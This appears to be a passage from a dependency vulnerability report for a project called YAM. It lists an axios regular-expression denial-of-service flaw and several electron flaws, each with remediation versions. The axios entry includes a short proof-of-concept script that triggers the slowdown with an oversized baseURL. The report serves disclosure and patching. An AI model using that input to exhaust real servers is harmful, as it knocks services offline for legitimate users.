Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.

PoC

const axios = require('axios');

console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');

console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');


/* stdout
t1: 60.826ms
t2: 5.826s
*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.29.0, 1.6.3 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Improper Input Validation. in Internals, due to not treating % as a special character in pathname resolution.

NOTE: This vulnerability is only exploitable when running on Windows.

Remediation

Upgrade electron to version 18.3.8, 19.0.13 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Information Exposure in Background Fetch, by exposing URLs during cross-origin redirects.

Remediation

Upgrade electron to version 18.3.9, 19.0.12 or higher.

References

medium severity

Type Confusion

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion via a crafted HTML page in the V8 engine.

**Note: ** This is only exploitable if the user navigates to or is redirected to the malicious page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

medium severity
new

Arbitrary Code Injection

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Arbitrary Code Injection via modification of the resources folder when the embeddedAsarIntegrityValidation and onlyLoadAppFromAsar fuses are enabled. An attacker can execute unauthorized code by altering files within the application directory, bypassing ASAR integrity checks.

Note: This is only exploitable if the application is launched from a filesystem to which the attacker has write access.

Remediation

Upgrade electron to version 35.7.5, 36.8.1, 37.3.1, 38.0.0-beta.6 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Information Exposure via the Loader component. An attacker can leak sensitive cross-origin data by crafting a malicious HTML page.

Remediation

Upgrade electron to version 36.3.0 or higher.

References

medium severity

Improper Authentication

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Improper Authentication by allowing the creation of cookies that have an empty name field and whose value impersonates a cookie name prefix.

Note:

Upgrading to the fixed version will delete any previously stored cookies that meet the conditions by causing them to fail their IsCanonical() check.

Remediation

Upgrade electron to version 18.3.11 or higher.

References